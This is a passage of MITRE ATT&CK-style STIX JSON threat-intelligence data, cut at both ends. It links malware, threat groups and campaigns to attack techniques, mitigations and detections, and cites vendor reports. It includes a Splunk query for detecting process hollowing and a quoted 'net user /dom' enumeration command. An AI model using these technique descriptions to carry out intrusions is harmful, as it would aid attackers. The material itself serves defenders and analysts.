2021."}], "modified": "2021-03-12T16:55:09.336Z", "description": "[GoldMax](https://attack.mitre.org/software/S0588) retrieved a list of the system's network interface after execution.(Citation: MSTIC NOBELIUM Mar 2021)", "relationship_type": "uses", "source_ref": "malware--5c747acd-47f0-4c5a-b9e5-213541fc01e0", "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--57ad2c1a-785c-46ad-bdf1-2f9afe2389e8", "type": "relationship", "created": "2020-11-10T20:55:27.271Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Securelist Brazilian Banking Malware July 2020", "url": "https://securelist.com/the-tetrade-brazilian-banking-malware/97779/", "description": "GReAT. (2020, July 14). The Tetrade: Brazilian banking malware goes global. Retrieved November 9, 2020."}], "modified": "2020-11-10T20:55:27.271Z", "description": "[Melcoz](https://attack.mitre.org/software/S0530) has the ability to download additional files to a compromised host.(Citation: Securelist Brazilian Banking Malware July 2020)", "relationship_type": "uses", "source_ref": "malware--d3105fb5-c494-4fd1-a7be-414eab9e0c96", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--57b4f42b-02e2-4cee-98f0-d6935c1e2c7b", "type": "relationship", "created": "2019-07-19T17:27:02.518Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019.", "url": "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers", "source_name": "Cybereason Soft Cell June 2019"}, {"source_name": "Microsoft GALLIUM December 2019", "url": "https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/", "description": "MSTIC. (2019, December 12). GALLIUM: Targeting global telecom. Retrieved January 13, 2021."}], "modified": "2021-03-23T22:13:35.096Z", "description": "[GALLIUM](https://attack.mitre.org/groups/G0093) has used VPN services, including SoftEther VPN, to access and maintain persistence in victim environments.(Citation: Cybereason Soft Cell June 2019)(Citation: Microsoft GALLIUM December 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258", "target_ref": "attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--57bf4742-638a-41fe-8c09-e0f690b74190", "type": "relationship", "created": "2020-06-10T18:20:44.112Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Trend Micro Tick November 2019", "url": "https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf", "description": "Chen, J. et al. (2019, November). Operation ENDTRADE: TICK\u2019s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020."}], "modified": "2020-06-24T01:27:32.378Z", "description": "[BBK](https://attack.mitre.org/software/S0470) has the ability to use HTTP in communications with C2.(Citation: Trend Micro Tick November 2019)", "relationship_type": "uses", "source_ref": "malware--f0fc920e-57a3-4af5-89be-9ea594c8b1ea", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--57c067b0-1325-4bb7-a950-198a6332c8ba", "type": "relationship", "created": "2020-10-20T03:33:58.292Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2021-04-15T03:45:30.962Z", "description": "This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls. Efforts should focus on minimizing the amount and sensitivity of data available to external parties.", "relationship_type": "mitigates", "source_ref": "course-of-action--78bb71be-92b4-46de-acd6-5f998fedf1cc", "target_ref": "attack-pattern--51e54974-a541-4fb6-a61b-0518e4c6de41", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--57c700c6-e301-4433-84bd-722934f9d922", "type": "relationship", "created": "2020-08-13T16:51:23.515Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye Hancitor", "url": "https://www.fireeye.com/blog/threat-research/2016/09/hancitor_aka_chanit.html", "description": "Anubhav, A., Jallepalli, D. (2016, September 23). Hancitor (AKA Chanitor) observed using multiple attack approaches. Retrieved August 13, 2020."}], "modified": "2020-09-02T19:29:12.321Z", "description": "[Hancitor](https://attack.mitre.org/software/S0499)  has added Registry Run keys to establish persistence.(Citation: FireEye Hancitor)", "relationship_type": "uses", "source_ref": "malware--ef2247bf-8062-404b-894f-d65d00564817", "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--57c72f80-38bf-48b4-9f5d-eefef4025e34", "type": "relationship", "created": "2021-11-17T16:29:23.658Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Trend Micro DRBControl February 2020", "url": "https://documents.trendmicro.com/assets/white_papers/wp-uncovering-DRBcontrol.pdf", "description": "Lunghi, D. et al. (2020, February). Uncovering DRBControl. Retrieved November 12, 2021."}], "modified": "2021-11-17T16:29:23.658Z", "description": "The [Clambling](https://attack.mitre.org/software/S0660) executable has been obfuscated when dropped on a compromised host.(Citation: Trend Micro DRBControl February 2020)", "relationship_type": "uses", "source_ref": "malware--6e95feb1-78ee-48d3-b421-4d76663b5c49", "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--57c8dc86-93a0-43d6-a47c-f0f5892948b3", "created": "2022-09-01T14:26:01.010Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "ClearSky Siamesekitten August 2021", "url": "https://www.clearskysec.com/siamesekitten/", "description": "ClearSky Cyber Security . (2021, August). New Iranian Espionage Campaign By \u201cSiamesekitten\u201d - Lyceum. Retrieved June 6, 2022."}, {"source_name": "SecureWorks August 2019", "url": "https://www.secureworks.com/blog/lyceum-takes-center-stage-in-middle-east-campaign", "description": "SecureWorks 2019, August 27 LYCEUM Takes Center Stage in Middle East Campaign Retrieved. 2019/11/19 "}], "x_mitre_deprecated": false, "revoked": false, "description": "[DanBot](https://attack.mitre.org/software/S1014) has relied on victims' opening a malicious file for initial execution.(Citation: SecureWorks August 2019)(Citation: ClearSky Siamesekitten August 2021)", "modified": "2022-09-01T14:26:01.010Z", "relationship_type": "uses", "source_ref": "malware--b8d48deb-450c-44f6-a934-ac8765aa89cb", "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--57cb89ed-ead5-46b1-ade9-68e580274f65", "type": "relationship", "created": "2020-08-13T18:21:08.617Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Secureworks MCMD July 2019", "url": "https://www.secureworks.com/research/mcmd-malware-analysis", "description": "Secureworks. (2019, July 24). MCMD Malware Analysis. Retrieved August 13, 2020."}], "modified": "2020-08-13T18:21:08.617Z", "description": "[MCMD](https://attack.mitre.org/software/S0500) can modify processes to prevent them from being visible on the desktop.(Citation: Secureworks MCMD July 2019)", "relationship_type": "uses", "source_ref": "tool--975737f1-b10d-476f-8bda-3ec26ea57172", "target_ref": "attack-pattern--cbb66055-0325-4111-aca0-40547b6ad5b0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--57ce9ed8-5acb-4acf-8a66-39b9ab829273", "created": "2023-08-11T21:36:59.924Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-27T19:44:57.027Z", "description": "Monitor for newly executed processes that may inject malicious code into suspended and hollowed processes in order to evade process-based defenses. Adversaries may start legitimate processes and then use their memory space to run malicious code. This analytic looks for common Windows processes that have been abused this way in the past; when the processes are started for this purpose they may not have the standard parent that we would expect. This list is not exhaustive, and it is possible for cyber actors to avoid this discepency. These signatures only work if Sysmon reports the parent process, which may not always be the case if the parent dies before sysmon processes the event.\n\nAnalytic 1 - Processes Started From Irregular Parents\n\n<code>(source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (source=\"*WinEventLog:Security\" EventCode=\"4688\") AND ParentImage!=\"?\" AND ParentImage!=\"C:\\\\Program Files\\\\SplunkUniversalForwarder\\\\bin\\\\splunk-regmon.exe\" AND ParentImage!=\"C:\\\\Program Files\\\\SplunkUniversalForwarder\\\\bin\\\\splunk-powershell.exe\" AND\n((Image=\"C:\\\\Windows\\System32\\\\smss.exe\" AND (ParentImage!=\"C:\\\\Windows\\\\System32\\\\smss.exe\" AND ParentImage!=\"System\")) OR\n(Image=\"C:\\\\Windows\\\\System32\\\\csrss.exe\" AND (ParentImage!=\"C:\\\\Windows\\\\System32\\\\smss.exe\" AND ParentImage!=\"C:\\\\Windows\\\\System32\\\\svchost.exe\")) OR\n(Image=\"C:\\\\Windows\\\\System32\\\\wininit.exe\" AND ParentImage!=\"C:\\\\Windows\\\\System32\\\\smss.exe\") OR\n(Image=\"C:\\\\Windows\\\\System32\\\\winlogon.exe\" AND ParentImage!=\"C:\\\\Windows\\\\System32\\\\smss.exe\") OR\n(Image=\"C:\\\\Windows\\\\System32\\\\lsass.exe\" and ParentImage!=\"C:\\\\Windows\\\\System32\\\\wininit.exe\") OR\n(Image=\"C:\\\\Windows\\\\System32\\\\LogonUI.exe\" AND (ParentImage!=\"C:\\\\Windows\\\\System32\\\\winlogon.exe\" AND ParentImage!=\"C:\\\\Windows\\\\System32\\\\wininit.exe\")) OR\n(Image=\"C:\\\\Windows\\\\System32\\\\services.exe\" AND ParentImage!=\"C:\\\\Windows\\\\System32\\\\wininit.exe\") OR\n(Image=\"C:\\\\Windows\\\\System32\\\\spoolsv.exe\" AND ParentImage!=\"C:\\\\Windows\\\\System32\\\\services.exe\") OR\n(Image=\"C:\\\\Windows\\\\System32\\\\taskhost.exe\" AND (ParentImage!=\"C:\\\\Windows\\\\System32\\\\services.exe\" AND ParentImage!=\"C:\\\\Windows\\\\System32\\\\svchost.exe\")) OR\n(Image=\"C:\\\\Windows\\\\System32\\\\taskhostw.exe\" AND (ParentImage!=\"C:\\\\Windows\\\\System32\\\\services.exe\" AND ParentImage!=\"C:\\\\Windows\\\\System32\\\\svchost.exe\")) OR\n(Image=\"C:\\\\Windows\\System32\\\\userinit.exe\" AND (ParentImage!=\"C:\\\\Windows\\\\System32\\\\dwm.exe\" AND ParentImage!=\"C:\\\\Windows\\\\System32\\\\winlogon.exe\")))</code>", "relationship_type": "detects", "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", "target_ref": "attack-pattern--b200542e-e877-4395-875b-cf1a44537ca4", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--57d1a497-ef75-46de-b284-eefa90a99172", "type": "relationship", "created": "2019-06-13T16:47:55.972Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://msdn.microsoft.com/library/windows/desktop/bb968799.aspx", "description": "Microsoft. (n.d.). Background Intelligent Transfer Service. Retrieved January 12, 2018.", "source_name": "Microsoft BITS"}], "modified": "2021-04-13T21:36:05.231Z", "description": "\nConsider reducing the default BITS job lifetime in Group Policy or by editing the <code>JobInactivityTimeout</code> and <code>MaxDownloadTime</code> Registry values in <code> HKEY_LOCAL_MACHINE\\Software\\Policies\\Microsoft\\Windows\\BITS</code>.(Citation: Microsoft BITS)", "relationship_type": "mitigates", "source_ref": "course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3", "target_ref": "attack-pattern--c8e87b83-edbb-48d4-9295-4974897525b7", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--57d595d2-4363-4816-826e-91e45dd364e5", "created": "2023-03-26T20:45:36.284Z", "revoked": false, "external_references": [{"source_name": "CrowdStrike StellarParticle January 2022", "description": "CrowdStrike. (2022, January 27). Early Bird Catches the Wormhole: Observations from the StellarParticle Campaign. Retrieved February 7, 2022.", "url": "https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-26T20:45:36.284Z", "description": "During the [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024), [APT29](https://attack.mitre.org/groups/G0016) used administrative accounts to connect over SMB to targeted users.(Citation: CrowdStrike StellarParticle January 2022)", "relationship_type": "uses", "source_ref": "campaign--808d6b30-df4e-4341-8248-724da4bac650", "target_ref": "attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--57da83d5-2698-41b0-92b8-a92da8a4599c", "created": "2020-08-27T17:29:05.229Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Cycraft Chimera April 2020", "description": "Cycraft. (2020, April 15). APT Group Chimera - APT Operation Skeleton key Targets Taiwan Semiconductor Vendors. Retrieved August 24, 2020.", "url": "https://cycraft.com/download/CyCraft-Whitepaper-Chimera_V4.1.pdf"}, {"source_name": "NCC Group Chimera January 2021", "description": "Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved January 19, 2021.", "url": "https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-02-06T18:11:56.971Z", "description": "[Chimera](https://attack.mitre.org/groups/G0114) has has used <code>net user /dom</code> and <code>net user Administrator</code> to enumerate domain accounts including administrator accounts.(Citation: Cycraft Chimera April 2020)(Citation: NCC Group Chimera January 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c", "target_ref": "attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--57db6603-303e-4749-8a92-2e4021aee764", "type": "relationship", "created": "2021-03-30T17:56:37.700Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-04-01T13:04:01.115Z", "description": "Deny direct remote access to internal systems through the use of network proxies, gateways, and firewalls.", "relationship_type": "mitigates", "source_ref": "course-of-action--86598de0-b347-4928-9eb0-0acbfc21908c", "target_ref": "attack-pattern--800f9819-7007-4540-a520-40e655876800", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--57de7812-f3b0-44d1-9548-856a26278568", "type": "relationship", "created": "2020-11-13T20:23:31.081Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Grandoreiro April 2020", "url": "https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/", "description": "ESET. (2020, April 28). Grandoreiro: How engorged can an EXE get?. Retrieved November 13, 2020."}], "modified": "2020-11-13T20:23:31.081Z", "description": "[Grandoreiro](https://attack.mitre.org/software/S0531) can collect the username from the victim's machine.(Citation: ESET Grandoreiro April 2020)", "relationship_type": "uses", "source_ref": "malware--958b5d06-8bb0-4c5b-a2e7-0130fe654ac7", "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--57e1f6b0-7fbd-49b4-8f5d-876b759437ac", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Symantec Dragonfly", "description": "Symantec Security Response. (2014, June 30). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016.", "url": "https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=7382dce7-0260-4782-84cc-890971ed3f17&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments"}, {"source_name": "Secureworks Karagany July 2019", "url": "https://www.secureworks.com/research/updated-karagany-malware-targets-energy-sector", "description": "Secureworks. (2019, July 24). Updated Karagany Malware Targets Energy Sector. Retrieved August 12, 2020."}], "modified": "2020-08-13T14:05:44.954Z", "description": "[Trojan.Karagany](https://attack.mitre.org/software/S0094) can create a link to itself in the Startup folder to automatically start itself upon system restart.(Citation: Symantec Dragonfly)(Citation: Secureworks Karagany July 2019)", "relationship_type": "uses", "source_ref": "malware--82cb34ba-02b5-432b-b2d2-07f55cbf674d", "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--57e57dc4-b813-4e5c-882a-0021c7e0ff22", "type": "relationship", "created": "2020-05-20T19:54:06.591Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "TrendMicro Tropic Trooper May 2020", "url": "https://documents.trendmicro.com/assets/Tech-Brief-Tropic-Trooper-s-Back-USBferry-Attack-Targets-Air-gapped-Environments.pdf", "description": "Chen, J.. (2020, May 12). Tropic Trooper\u2019s Back: USBferry Attack Targets Air gapped Environments. Retrieved May 20, 2020."}], "modified": "2020-05-29T13:31:07.787Z", "description": "[USBferry](https://attack.mitre.org/software/S0452) can check for connected USB devices.(Citation: TrendMicro Tropic Trooper May 2020)", "relationship_type": "uses", "source_ref": "malware--75bba379-4ba1-467e-8c60-ec2b269ee984", "target_ref": "attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--57e6eba5-cb21-4a0d-b524-4981f49037b1", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://securelist.com/the-flame-questions-and-answers-51/34344/", "description": "Gostev, A. (2012, May 28). The Flame: Questions and Answers. Retrieved March 1, 2017.", "source_name": "Kaspersky Flame"}, {"url": "https://securelist.com/flame-bunny-frog-munch-and-beetlejuice-2/32855/", "description": "Gostev, A. (2012, May 30). Flame: Bunny, Frog, Munch and BeetleJuice\u2026. Retrieved March 1, 2017.", "source_name": "Kaspersky Flame Functionality"}], "modified": "2020-03-27T00:25:23.064Z", "description": "[Flame](https://attack.mitre.org/software/S0143) can create backdoor accounts with login \u201cHelpAssistant\u201d on domain connected systems if appropriate rights are available.(Citation: Kaspersky Flame)(Citation: Kaspersky Flame Functionality)", "relationship_type": "uses", "source_ref": "malware--ff6840c9-4c87-4d07-bbb6-9f50aa33d498", "target_ref": "attack-pattern--635cbe30-392d-4e27-978e-66774357c762", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--57e7d8ef-33dd-4a08-bce2-e516a9662383", "created": "2023-03-17T15:06:39.892Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "ClearSky Lazarus Aug 2020", "description": "ClearSky Research Team. (2020, August 13). Operation 'Dream Job' Widespread North Korean Espionage Campaign. Retrieved December 20, 2021.", "url": "https://www.clearskysec.com/wp-content/uploads/2020/08/Dream-Job-Campaign.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-04-10T19:22:03.730Z", "description": "During [Operation Dream Job](https://attack.mitre.org/campaigns/C0022), [Lazarus Group](https://attack.mitre.org/groups/G0032) used tools that collected `GetTickCount` and `GetSystemTimeAsFileTime` data to detect sandbox or VMware services.(Citation: ClearSky Lazarus Aug 2020)", "relationship_type": "uses", "source_ref": "campaign--0257b35b-93ef-4a70-80dd-ad5258e6045b", "target_ref": "attack-pattern--4bed873f-0b7d-41d4-b93a-b6905d1f90b0", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--57e7fcc7-88b1-4a60-b775-020d02efb9dc", "type": "relationship", "created": "2022-03-30T14:26:51.871Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.871Z", "description": "Monitor and analyze traffic patterns and packet inspection associated to protocol(s), leveraging SSL/TLS inspection for encrypted traffic, that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure).", "source_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", "target_ref": "attack-pattern--eec23884-3fa1-4d8a-ac50-6f104d51e235", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--57e8711a-9aae-4a22-94d4-f4c8a3a8f141", "created": "2023-03-31T18:12:35.414Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "ESET Industroyer", "description": "Anton Cherepanov. (2017, June 12). Win32/Industroyer: A new threat for industrial controls systems. Retrieved December 18, 2020.", "url": "https://www.welivesecurity.com/wp-content/uploads/2017/06/Win32_Industroyer.pdf"}, {"source_name": "Dragos Crashoverride 2018", "description": "Joe Slowik. (2018, October 12). Anatomy of an Attack: Detecting and Defeating CRASHOVERRIDE. Retrieved December 18, 2020.", "url": "https://www.dragos.com/wp-content/uploads/CRASHOVERRIDE2018.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-04-07T17:07:29.299Z", "description": "Within the [2016 Ukraine Electric Power Attack](https://attack.mitre.org/campaigns/C0025), [Industroyer](https://attack.mitre.org/software/S0604) was used to target and disrupt the Ukrainian power grid substation components.(Citation: Dragos Crashoverride 2018)(Citation: ESET Industroyer)", "relationship_type": "uses", "source_ref": "campaign--aa73efef-1418-4dbe-b43c-87a498e97234", "target_ref": "malware--e401d4fe-f0c9-44f0-98e6-f93487678808", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--57e9b366-fac5-4320-bb76-da81953de2dc", "created": "2022-10-04T20:40:33.293Z", "revoked": false, "external_references": [{"source_name": "Mandiant UNC3890 Aug 2022", "description": "Mandiant Israel Research Team. (2022, August 17). Suspected Iranian Actor Targeting Israeli Shipping, Healthcare, Government and Energy Sectors. Retrieved September 21, 2022.", "url": "https://www.mandiant.com/resources/blog/suspected-iranian-actor-targeting-israeli-shipping"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-04T20:40:33.293Z", "description": "During [C0010](https://attack.mitre.org/campaigns/C0010), UNC3890 actors likely compromised the domain of a legitimate Israeli shipping company.(Citation: Mandiant UNC3890 Aug 2022)", "relationship_type": "uses", "source_ref": "campaign--ab747e62-1bcb-479f-a26b-1cd39d413d81", "target_ref": "attack-pattern--f9cc4d06-775f-4ee1-b401-4e2cc0da30ba", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--57f65eb3-1f1e-4a09-af1a-6a6c4380cbc9", "created": "2022-03-30T14:26:51.872Z", "x_mitre_version": "0.1", "x_mitre_deprecated": false, "revoked": false, "description": "Monitor for unexpected and abnormal accesses to network shares, especially those also associated with file activity.", "modified": "2022-04-14T13:58:36.880Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "detects", "source_ref": "x-mitre-data-component--f5468e67-51c7-4756-9b4f-65707708e7fa", "target_ref": "attack-pattern--246fd3c7-f5e3-466d-8787-4c13d9e3b61c", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--57f8c6d0-406d-4e97-b3ff-5b2f0274231b", "created": "2020-05-13T13:20:59.339Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "DHS/CISA Ransomware Targeting Healthcare October 2020", "description": "DHS/CISA. (2020, October 28). Ransomware Activity Targeting the Healthcare and Public Health Sector. Retrieved October 28, 2020.", "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-302a"}, {"source_name": "CrowdStrike Grim Spider May 2019", "description": "John, E. and Carvey, H. (2019, May 30). Unraveling the Spiderweb: Timelining ATT&CK Artifacts Used by GRIM SPIDER. Retrieved May 12, 2020.", "url": "https://www.crowdstrike.com/blog/timelining-grim-spiders-big-game-hunting-tactics/"}, {"source_name": "FireEye KEGTAP SINGLEMALT October 2020", "description": "Kimberly Goody, Jeremy Kennelly, Joshua Shilko, Steve Elovitz, Douglas Bienstock. (2020, October 28). Unhappy Hour Special: KEGTAP and SINGLEMALT With a Ransomware Chaser. Retrieved October 28, 2020.", "url": "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html"}, {"source_name": "Mandiant FIN12 Oct 2021", "description": "Shilko, J., et al. (2021, October 7). FIN12: The Prolific Ransomware Intrusion Threat Actor That Has Aggressively Pursued Healthcare Targets. Retrieved June 15, 2023.", "url": "https://www.mandiant.com/sites/default/files/2021-10/fin12-group-profile.pdf"}, {"source_name": "DFIR Ryuk 2 Hour Speed Run November 2020", "description": "The DFIR Report. (2020, November 5). Ryuk Speed Run, 2 